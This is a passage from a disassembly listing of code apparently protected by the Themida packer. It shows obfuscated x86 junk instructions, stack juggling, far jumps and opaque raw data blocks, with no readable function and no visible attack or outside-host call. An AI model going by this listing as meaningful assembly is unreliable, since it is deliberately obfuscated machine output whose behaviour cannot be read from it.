		dd 0B951D2F7h, 23F7A933h, 0E9CA01h, 51FFFFE1h, 592414F7h
		dd 0FFF0E981h, 49E9FFDBh, 89FFFEF0h, 0BB53242Ch, 173B71ADh
		dd 0FF0F3EE9h, 24248BFFh, 0BB241C89h, 61725CA1h, 68h, 24048100h
		dd 43694582h, 81241C29h, 4582242Ch, 815B4369h, 8DA35BEBh
		dd 8BDF019Eh, 0C483241Ch, 4EC8304h, 83240489h, 61E904ECh
		dd 8FFFFF68h, 3C8B2404h, 7372E924h, 34FFFFFFh, 36E95824h
		dd 56FFFF6Eh, 8B09E3BEh, 8CEB813Eh, 1575C24h, 0D92EE9F3h
		dd 0F281FFFFh, 7DA95562h, 0FFD4B0E9h, 23CE68FFh, 4890000h
		dd 48B5B24h, 0E296E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5562BE:				; CODE XREF: Themida_:00550259j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_555DD3
; ---------------------------------------------------------------------------
		dd offset dword_49005C+3A70Ch
		dw 8900h
		dd 0FCE92414h, 1FFFEE3h, 0EB835EF3h, 241C8704h,	240C895Ch
		dd 296FE954h, 48BFFFFh,	0F45AE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5562FA:				; CODE XREF: Themida_:005532E5j
		push	ebx
		mov	ebx, 1
		mov	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, esi
		pop	esi
		dec	edx
		or	edx, 176263E7h
		sub	edx, 24604D4Fh
		push	edi
		mov	edi, 5D4D50E7h
		jmp	loc_5474DF
; ---------------------------------------------------------------------------
		dd 0E5C1DDF7h, 94E94502h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55632F:				; CODE XREF: Themida_:0055157Fj
		add	esp, 4
		push	ebx
		mov	ebx, 683B4EEBh
		or	ebx, 0E3C3E45h
		dec	ebx
		and	ebx, 723651DBh
		sub	ebx, 78460939h
		add	ebx, 3F3F7847h
		sub	ebx, 0F405639h
		jmp	loc_544BEB
; ---------------------------------------------------------------------------


loc_55635C:				; CODE XREF: Themida_:0054D21Aj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54CC81
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFE280h, 29E9D001h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55637F:				; CODE XREF: Themida_:00548A8Bj
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_546A5B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 190A49BCh, 48BC729h,	4C48124h, 0E9000000h, 0FFFEDA30h
; ---------------------------------------------------------------------------


loc_5563A8:				; CODE XREF: Themida_:005434CAj
		add	bx, ax
		jmp	loc_5528EC
; ---------------------------------------------------------------------------


loc_5563B0:				; CODE XREF: Themida_:005438FAj
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, 35223AD6h
		sub	esi, 4C296354h
		not	esi
		inc	esi
		and	esi, 729D5E32h
		xor	esi, 5A637767h
		xor	esi, 48667F51h
		add	edi, esi
		pop	esi
		push	2D17h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5563EA:				; CODE XREF: Themida_:00552568j
		push	21Fh
		mov	[esp], eax
		push	esp
		jmp	loc_55603D
; ---------------------------------------------------------------------------
		dd 0D988C388h, 0FF1ED1E9h, 5355B8FFh, 0BFE900A6h, 0ACFFFFB7h
		dd 5B4A68h, 24148900h, 0D2F67CB2h, 5066C2FEh, 0B5510DB4h
		dd 0A7C8E98Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556426:				; CODE XREF: Themida_:0054B688j
		push	eax
		push	538934FFh
		jmp	loc_557961
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 4Bh
		dd 89FFFF74h, 4BD242Ch,	1000000h, 0DB57E9E8h, 0BA52FFFFh
		dd 2, 148BD089h, 4C48124h, 1000000h, 2434FFC1h,	4C48358h
		dd 0E9240C33h, 0FFFF9E1Ch
; ---------------------------------------------------------------------------


loc_556468:				; CODE XREF: Themida_:0054E682j
		mov	[esp], ecx
		mov	ecx, 4
		push	ebx
		mov	ebx, 0A7B2011h
		or	ebx, 69DB0CC5h
		jmp	loc_543349
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C5h
		dd 4, 2C581h, 2C330000h, 242C3124h, 8B242C33h, 0F662424h
		dd 9C2404A3h, 0FEC267E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5564A5:				; CODE XREF: Themida_:0055651Dj
		sub	ebp, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, 1A342D56h
		add	esi, 558A6B69h
		add	esi, ebp
		jmp	loc_54532E
; ---------------------------------------------------------------------------


loc_5564D0:				; CODE XREF: Themida_:0054300Dj
		sub	esi, 3DC109CAh
		add	esi, 5A527D45h
		pop	edi
		jmp	loc_5571BD
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF7C93h, 240C8758h, 2404895Ch, 2B8h, 0B86AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5564FA:				; CODE XREF: Themida_:0054EAB7j
		shl	eax, 3
		xor	eax, 9D95FA4Bh
		xor	ebp, eax
		pop	eax
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		jmp	loc_544681
; ---------------------------------------------------------------------------


loc_556517:				; CODE XREF: Themida_:005451ECj
		add	esp, 4
		jmp	loc_5564A5
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 0FA2CA804h, 2823045Bh, 0EDB7E9D8h, 0C681FFFEh, 4, 4EC81h
		dd 0C890000h, 2B924h, 0CE010000h, 24348759h, 0FF23A9E9h
		dd 48F5BFFh, 0F8BAE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55655A:				; CODE XREF: Themida_:005431BFj
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [ebx]
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_547584
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 59106824h, 0EFE90000h, 0BEFFFFE4h, 52453ADAh, 4A1AF681h
		dd 0EEC119DAh, 6AE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55658E:				; CODE XREF: Themida_:00549626j
		sub	edi, eax
		sub	edi, 41551092h
		pop	eax
		push	esi
		jmp	loc_5486A5
; ---------------------------------------------------------------------------


loc_55659D:				; CODE XREF: Themida_:00545393j
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_551EC4
; ---------------------------------------------------------------------------
		dw 0E905h
		dd 0E960CE59h, 0FFFF4B63h
; ---------------------------------------------------------------------------


loc_5565B4:				; CODE XREF: Themida_:0054DD3Fj
		push	4DBAh
		mov	[esp], ebp
		mov	ebp, 6F3E1205h
		jmp	loc_543810
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4E92404h
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565CF:				; CODE XREF: Themida_:0054337Ej
		add	esi, 4
		jmp	loc_54F9BA
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 0FECACDE9h, 24048BFFh, 5604C483h, 8951DE89h,	8BCF89F1h
		dd 0C481240Ch, 4, 241C8B5Eh, 34EE9h, 59CA2100h,	0FF4DB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556609:				; CODE XREF: Themida_:00551AF0j
		xor	edi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_55230A
; ---------------------------------------------------------------------------
aUhqm		db 'UhŸm',0
		align 2
		dw 6BE9h
		dd 31FFFF0Bh, 4BE92414h, 0C1FFFF66h, 0EC8308EBh, 0DFBE904h
		dd 2BB0000h, 81000000h,	8A38ADC5h, 0BCC58154h, 1668002h
		dd 0F9E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55664E:				; CODE XREF: Themida_:00551FB1j
		sub	edi, 98D7DDBh
		add	edi, edx
		add	edi, 98D7DDBh
		pop	edx
		pop	esi
		push	1394h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, 0E0A6C06h
		add	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	954h
		mov	[esp], esi
		push	edi
		mov	edi, 1C285483h
		neg	edi
		push	esi
		push	ecx
		push	ebx
		mov	ebx, 23481B5Ch
		mov	ecx, 28E12C68h
		jmp	loc_557586
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF8630E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5566C1:				; CODE XREF: Themida_:0054ED74j
		dec	ecx
		inc	ecx
		xor	ecx, 5E716EFCh
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_54547F
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 8B66D030h, 73682414h, 8900000Bh, 0E789243Ch
		dd 5671B951h, 0D9F70A7Ah, 0FF0A49E9h, 4EC81FFh,	89000000h
		dd 0E189240Ch, 4C181h, 0E9810000h, 4, 0FF7DD5E9h, 2AFD25FFh
		dd 48353350h, 891FE022h, 0A5AE9C5h, 81AD0000h, 4ECh, 2280E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556746:				; CODE XREF: Themida_:0055277Ej
		mov	esi, ecx
		jmp	loc_54462E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 0FF03C8E9h, 2C581FFh, 0E9000000h, 1355h
; ---------------------------------------------------------------------------


loc_556764:				; CODE XREF: Themida_:0054F5FFj
		xor	edi, 33AAA31Dh
		mov	esi, edi
		pop	edi
		jmp	loc_5459A0
; ---------------------------------------------------------------------------
		dw 91BBh
		dd 3135583Dh, 241C8BD8h, 2904C483h, 0B85058C3h,	6EB11682h
		dd 3503E0C1h, 62505CB8h, 0FFF8FDE9h, 76C480FFh,	28F2EC80h
		dd 0F2C480FCh, 5B76EC80h, 59E9E528h, 83FFFF9Bh,	786804C4h
		dd 8900001Bh, 34812414h, 0E9160324h, 0E9592Eh, 80FFFF2Eh
		dd 0F10873EEh, 0FFB75AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5567CD:				; CODE XREF: Themida_:005458BCj
		push	eax
		mov	eax, 28164D47h
		jmp	loc_5440D2
; ---------------------------------------------------------------------------


loc_5567D8:				; CODE XREF: Themida_:005479E6j
		neg	edx
		xor	edx, 4051895Fh
		xor	edi, edx
		pop	edx
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54A24C
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9C00000h, 0FDB35306h, 5006EBC0h, 0C30044B0h
		dd 5BD93058h, 88CB8853h, 80595BDCh, 0E36807C4h,	8900006Bh
		dd 0EC83241Ch, 240C8904h, 0EF88E588h, 0FD885159h, 0FF4BA4E9h
		dd 8BD031FFh, 6EE92414h, 83FFFF09h, 0B56804C4h,	89000020h
		dd 0EC83240Ch, 243C8904h, 0FF427AE9h, 0F8E943FFh, 50FFFFDBh
		dd 76333D68h, 0AE0D5836h, 2D512A16h, 76E2FC7Eh,	0FF5896E9h
		dd 60E9ADFFh, 5DFFFF6Ah, 3F6FC581h, 0D5296C7Ch,	0FF2E1EE9h
		dd 60C681FFh, 19177EAh,	15B5EF0h, 2592DD0h, 34FF4336h
		dd 24148B24h, 0FFA5ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556899:				; CODE XREF: Themida_:0054704Ej
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		jmp	loc_5457D2
; ---------------------------------------------------------------------------
		db 1
		dd 0B95158C7h, 423F0D62h, 0C5C1E953h, 0E1C1FFFEh, 0E5C18107h
		dd 89301249h, 0B95159CBh, 1075444Bh, 0FFF2E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5568D1:				; CODE XREF: Themida_:0055198Aj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54AD52
; ---------------------------------------------------------------------------
		db 0FFh
		dd 25E92C77h
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5568E7:				; CODE XREF: Themida_:0054A40Fj
		xor	ebp, 7AC26C6Dh
		push	ebp
		xor	dword ptr [esp], 18937A26h
		pop	ecx
		xor	ecx, 18937A26h
		jmp	loc_555786
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 6
		dd 0C107E5C1h, 0F96806E5h, 8900000Fh, 6850240Ch, 40F73B8Ch
		dd 8124048Bh, 4C4h, 8F5AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556926:				; CODE XREF: Themida_:005507E7j
		add	esi, ecx
		jmp	loc_5530D8
; ---------------------------------------------------------------------------
aTzZ		db '’Z%`z',0
		db 7Ah
		dd 8050E956h, 248BFFFFh, 9927E924h, 405FFFFh, 83000000h
		dd 81E904ECh, 81FFFFBCh, 4C4h, 6EFC100h, 5604E7C1h, 4E68C8BEh
		dd 99C68141h, 31D39EE9h, 24348BF7h, 4C481h, 89530000h
		dd 5BDD89FBh, 5F2434FFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 2C8BE921h, 4C48124h,	0C1000000h, 0C00900E9h,	7660840Fh
		dd 5355FFFFh, 30DDBD55h, 6C2931A8h, 0FF5D0424h,	515D2434h
		dd 0E0E9E189h, 29FFFF16h, 0C5815DEAh, 34D60BF4h, 0ED81D529h
		dd 34D60BF4h, 5D96685Ah, 3C890000h, 5032BF24h, 0EF8129D5h
		dd 12BDF2C4h, 0C15FFD29h, 0EC8102E5h, 4, 0E9243489h, 0FFFEF129h
		dd 2136EF81h, 0E95B3594h, 0FFFF6F81h, 4C481h, 0EC830000h
		dd 24148904h, 882012BAh, 8DCA8158h, 4A35EE76h, 4F0EA81h
		dd 0D50145B2h, 75B1E95Ah, 4BBFFFFh, 1000000h, 0EC815BDEh
		dd 4, 0E9241489h, 0FFFF8BF2h
; ---------------------------------------------------------------------------


loc_556A3C:				; CODE XREF: Themida_:0054A6E7j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	al, cl
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55561E
; ---------------------------------------------------------------------------


loc_556A5F:				; CODE XREF: Themida_:005506A6j
		jmp	loc_54487C
; ---------------------------------------------------------------------------


loc_556A64:				; CODE XREF: Themida_:00555E10j
		push	49D4h
		mov	[esp], ebp
		push	21BD4173h
		jmp	loc_550223
; ---------------------------------------------------------------------------


loc_556A76:				; CODE XREF: Themida_:0054FDEFj
		pop	edi
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	0B3h
		jmp	loc_5457A3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BFE92404h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556A8F:				; CODE XREF: Themida_:0054AF04j
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_54F604
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 6624248Bh, 50C8B60Fh, 0FED9E2E9h, 5AD589FFh,	0FF2E0DE9h
		dd 8B5452FFh, 0C4832414h, 0DD9AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556AC6:				; CODE XREF: Themida_:00546E77j
		sub	ebp, 406063FFh
		add	ecx, ebp
		jmp	loc_54580A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 69333DCh, 997095BBh,	5DEB3157h, 0E95BDE01h, 0FFFF7BB1h
; ---------------------------------------------------------------------------


loc_556AE8:				; CODE XREF: Themida_:00549975j
		pop	esp
		push	79A3h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 199520B3h
		push	eax
		mov	eax, 470C0995h
		jmp	loc_544482
; ---------------------------------------------------------------------------
		dw 0ADBBh
		dd 29A3215Bh, 0CB815DEBh, 622141Eh, 1EBF574Bh, 81D460FAh
		dd 1B1A24C3h, 81FB292Ch, 1B1A24EBh, 243C8B2Ch, 0FF27F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B2D:				; CODE XREF: Themida_:00551B99j
		mov	[esp], ebx
		jmp	loc_551EE1
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 0DE89E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B3E:				; CODE XREF: Themida_:0054B523j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54BB1A
; ---------------------------------------------------------------------------
		dd 0E0F381h, 0F3816DD8h, 926088h, 42BB951h, 0F1810086h
		dd 154D7EE3h, 29E18141h, 8111666Dh, 31634CF1h, 0FBC381BFh
		dd 2939DE35h, 0FBEB81CBh, 0E939DE35h, 0FFFECC84h
; ---------------------------------------------------------------------------


loc_556B80:				; CODE XREF: Themida_:005434D6j
		add	ebx, 4
		push	ecx
		mov	ecx, 57A34E1h
		and	ecx, 6874638Bh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_546378
; ---------------------------------------------------------------------------
		dd 0EB81FB01h, 7C0C34CDh, 0FF6619E9h, 4C295CFFh, 5B590424h
		dd 0FFFA72E9h, 24148BFFh, 0FF7EBBE9h, 2434FFFFh, 0FF4CFFE9h
		dd 0EF815BFFh, 530A0076h, 0F2E9EF01h, 31FFFF23h, 14332414h
		dd 24248B24h, 0E9F388h,	52FFFF78h, 0FFFFFFBAh, 5AD501FFh
		dd 0FF0925E9h, 1258BDFFh, 4AE952F8h, 81FFFEEBh,	9A0A18F5h
		dd 1ABA521Bh, 8104974Ch, 0A954BAE2h, 6CEA811Ah,	0E91D6F11h
		dd 0FFFFEBF8h, 5104C483h, 0D7799DB9h, 17496836h, 0C890000h
		dd 63BBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C32:				; CODE XREF: Themida_:00543357j
		pop	eax
		add	edi, ebx
		jmp	loc_54D00A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 8104E6C1h, 1C6h, 0CF98E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C52:				; CODE XREF: Themida_:0054F6CAj
		push	edx
		mov	edx, 48AD796Ah
		sub	esi, 74EA5DA8h
		add	esi, edx
		jmp	loc_54A940
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 75F4685Bh, 0C890000h, 74B7B924h, 0E9C11F4Dh, 0D3E98106h
		dd 8148E21Ch, 0F013A2E1h, 56D1F755h, 0FF22E6E9h, 242C31FFh
		dd 0FFC703E9h, 0EF2858FFh, 0E5C78059h, 0E975CF80h, 0FFFF418Ah
		dd 0C007D5B8h, 90BF571Bh, 16DEE4Eh, 0E8C15FF8h,	0B92EE904h
		dd 0C681FFFFh, 15F03C81h, 48E9C629h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556CCB:				; CODE XREF: Themida_:0054B3A6j
		xor	ebp, ecx
		jmp	loc_5530FB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904EB83h, 0FFFF1753h, 0DB4CED81h, 0E0E9AE73h, 52FFFF01h
		dd 8904EC83h, 682404h, 5873A056h, 487F8225h, 5E8C132h
		dd 0AD9C2C2Dh, 0F888E9B0h, 0F831FFFEh, 8BE9C731h, 0B5FFFEBAh
		dd 0EE885236h, 0E95AF088h, 0FFFF3B53h, 240C895Ch, 51653CB9h
		dd 1E98107h, 0C1000000h, 0C98104E1h, 16B917C0h,	0D22DC181h
		dd 0D9E9B437h, 8B000003h, 2CD22424h, 0BDE99C24h, 5BFFFEB9h
		dd 24048152h, 7BA37FADh, 7FAD2D58h, 22E97BA3h
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_556D63:				; CODE XREF: Themida_:00551552j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54EBB1
; ---------------------------------------------------------------------------
		dd 6D27D8B8h, 2EBC0543h, 35404045h, 0E6820684h,	0FF4101E9h
		dd 5E089FFh, 4,	8704C083h, 815C2404h, 2C6h, 0ED62E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DA2:				; CODE XREF: Themida_:00557642j
		pop	eax
		sub	cl, 1
		push	737h
		mov	[esp], edx
		push	ecx
		mov	cl, 0D7h
		mov	dh, cl
		pop	ecx
		or	dh, 6Fh
		inc	dh
		neg	dh
		not	dh
		push	edx
		not	byte ptr [esp+1]
		jmp	loc_54CD76
; ---------------------------------------------------------------------------
		db 54h
		dd 83240C8Bh, 0C18104C4h, 4, 4C181h, 0C870000h,	2C875C24h
		dd 24248B24h, 9C240421h, 0FEB91FE9h, 0FFFFB8FFh, 0C101FFFFh
		dd 0FF11A8E9h, 6AE468FFh, 1C890000h, 81E38924h,	4C3h, 4BF5700h
		dd 56000000h, 835074BEh, 45F68109h, 817E2779h, 503068EEh
		dd 0FCEE8120h, 1DB47C3h, 71E95EF3h, 0FFFFFFFDh,	0E9042474h
		dd 0FFFFA2C2h, 56E9CFFEh, 68FFFF76h, 0
		dd 5B241C29h, 37F5EB81h, 0DF019C55h, 4EC815Bh, 89000000h
		dd 0DC68242Ch, 5D6CC31Ch, 0D5F7D5F7h, 7A2BF581h, 0AEE97AE1h
		dd 89FFFF90h, 405E0h, 0C0830000h, 24048704h, 524248Bh
		dd 383ED7h, 0FEC9E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556E89:				; CODE XREF: Themida_:00543344j
		add	eax, ebx
		sub	eax, 48B21D78h
		pop	ebx
		push	eax
		jmp	loc_5537BF
; ---------------------------------------------------------------------------
		db 81h
		dd 0C52BD0C6h, 21F68138h, 899139AEh, 24348BF0h,	8104C483h
		dd 0A40A3CEAh, 6AC2810Dh, 0E9489535h, 0FFFFB279h, 24048B66h
		dd 4EC8150h, 89000000h,	45E92424h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_556ECF:				; CODE XREF: Themida_:00544724j
		inc	cl
		xor	cl, 16h
		add	bl, cl
		jmp	loc_54FD0F
; ---------------------------------------------------------------------------
		db 81h
		dd 175114C1h, 0C4E1E957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_556EE6:				; CODE XREF: Themida_:00548139j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		push	5771h
		mov	[esp], ecx
		mov	cl, al
		mov	dh, cl
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_554367
; ---------------------------------------------------------------------------


loc_556F0C:				; CODE XREF: Themida_:00552589j
		add	edi, 4
		push	565Eh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 8782E52h
		add	ebx, 18A05306h
		not	ebx
		shl	ebx, 5
		push	edi
		mov	edi, 23102B24h
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_554FF2
; ---------------------------------------------------------------------------


loc_556F4C:				; CODE XREF: Themida_:00557811j
		push	ebp
		jmp	loc_55757A
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 4BF5700h, 81000000h, 0A31033E9h, 81F90126h
		dd 0A31033C1h, 243C8B26h, 8704C483h, 535C240Ch,	0FFA867E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F81:				; CODE XREF: Themida_:0054F283j
		add	esp, 4
		push	2463h
		mov	[esp], ecx
		mov	ch, ah
		mov	bh, ch
		mov	ecx, [esp]
		jmp	loc_555743
; ---------------------------------------------------------------------------


loc_556F9B:				; CODE XREF: Themida_:0054739Dj
		or	ecx, eax
		jmp	loc_54581B
; ---------------------------------------------------------------------------


loc_556FA2:				; CODE XREF: Themida_:0054306Bj
		mov	[esp], ebx
		mov	ebx, 1B651909h
		jmp	loc_54CE17
; ---------------------------------------------------------------------------


loc_556FAF:				; CODE XREF: Themida_:0054AC5Aj
		neg	esi
		push	eax
		mov	eax, 0BE255B62h
		sub	esi, 7CFB432Ah
		sub	esi, eax
		add	esi, 7CFB432Ah
		jmp	loc_545BC6
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFE943h, 53242C8Bh, 0C381E389h, 4, 0FF49B8E9h, 240C89FFh
		dd 0C25875B9h, 0B0BF5730h, 213BA823h, 0C9815FF9h, 2A635C38h
		dd 0EC15C181h, 0CD89FDA8h, 81240C8Bh, 4C4h, 29042D00h
		dd 0E8012376h, 76290405h, 242C8B23h, 0F911E955h, 34FFFFFEh
		dd 0C4835924h, 6EF3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55702A:				; CODE XREF: Themida_:00553B8Ej
		xor	ebx, 29C153F9h
		sub	esi, ebx
		pop	ebx
		mov	edx, esi
		pop	esi
		jmp	loc_5572DA
; ---------------------------------------------------------------------------
		db 89h
		dd 94BD242Ch, 1240423h,	2434FFEEh, 0FEE34BE9h, 4EC83FFh
		dd 87243489h, 0D6F72434h, 5E243487h, 0FF818EE9h, 2434FFFFh
		dd 5B54535Bh, 4C381h, 0C3810000h, 4, 0CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557079:				; CODE XREF: Themida_:00546E94j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_545F75
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0B676E99Ch, 8B66FFFEh,	0EC832404h
		dd 24048904h, 24048B54h, 0FFF78EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5570A9:				; CODE XREF: Themida_:00553037j
		mov	ebx, 70FE7A4Fh
		xor	ebx, 4CB433FFh
		shr	ebx, 7
		sub	ebx, 0E345EAh
		and	ebx, 0BDD3332h
		not	ebx
		jmp	loc_552116
; ---------------------------------------------------------------------------
		dw 8ABEh
		dd 29ABE93Eh, 0E9535DEEh, 0FFFF49DDh, 1C330D48h, 5487DB0h
		dd 6, 0A7E9C601h, 88FFFF6Ch, 269AE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570F2:				; CODE XREF: Themida_:00554D00j
		mov	ebx, eax
		jmp	loc_54B6F2
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0E987048Fh, 0FFFEB608h, 4C18159h, 50000000h,	1459B951h
		dd 5BB804B9h, 0E904B914h, 0FFFF6F1Ch, 0E9595F51h, 0FFFF78B5h
; ---------------------------------------------------------------------------


loc_557124:				; CODE XREF: Themida_:005461E5j
		pop	eax
		push	5C15h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, ch
		pop	ecx
		push	ecx
		jmp	loc_544722
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 0FFFFBB50h
; ---------------------------------------------------------------------------


loc_557150:				; CODE XREF: Themida_:005489F0j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, 5B120ABAh
		add	eax, 0ACEFFF6Ah
		sub	ecx, 2C564819h
		add	ecx, 30E63D95h
		jmp	loc_54FADB
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFCC21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55717D:				; CODE XREF: Themida_:005446CAj
		xor	ebp, 78155E77h
		push	ebp
		xor	dword ptr [esp], 40166C03h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5468ED
; ---------------------------------------------------------------------------
aXqO_s		db 'XQ¹®_™',0
		db 0E9h
		dd 0FFFEFC79h, 74FF505Dh, 8F580424h, 0D25C2404h, 0E99C2404h
		dd 0FFFEF3D3h
; ---------------------------------------------------------------------------


loc_5571B4:				; CODE XREF: Themida_:00546A56j
		mov	[esp], ax
		jmp	loc_54E9F3
; ---------------------------------------------------------------------------


loc_5571BD:				; CODE XREF: Themida_:005564DDj
		xor	esi, 102017CFh
		shl	esi, 2
		push	ebp
		jmp	loc_549D67
; ---------------------------------------------------------------------------
		dd 305068h, 0F059E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571D6:				; CODE XREF: Themida_:0055508Ej
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54EABC
; ---------------------------------------------------------------------------


loc_5571E1:				; CODE XREF: Themida_:0054C075j
		pop	ebp
		jmp	loc_55464C
; ---------------------------------------------------------------------------
		db 1
		dd 0CB6AE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571EE:				; CODE XREF: Themida_:00557731j
		mov	ebp, 4
		add	edx, 234E491Bh
		add	edx, ebp
		sub	edx, 234E491Bh
		pop	ebp
		push	esi
		mov	esi, 30D2C4Ah
		xor	esi, 30D2C4Eh
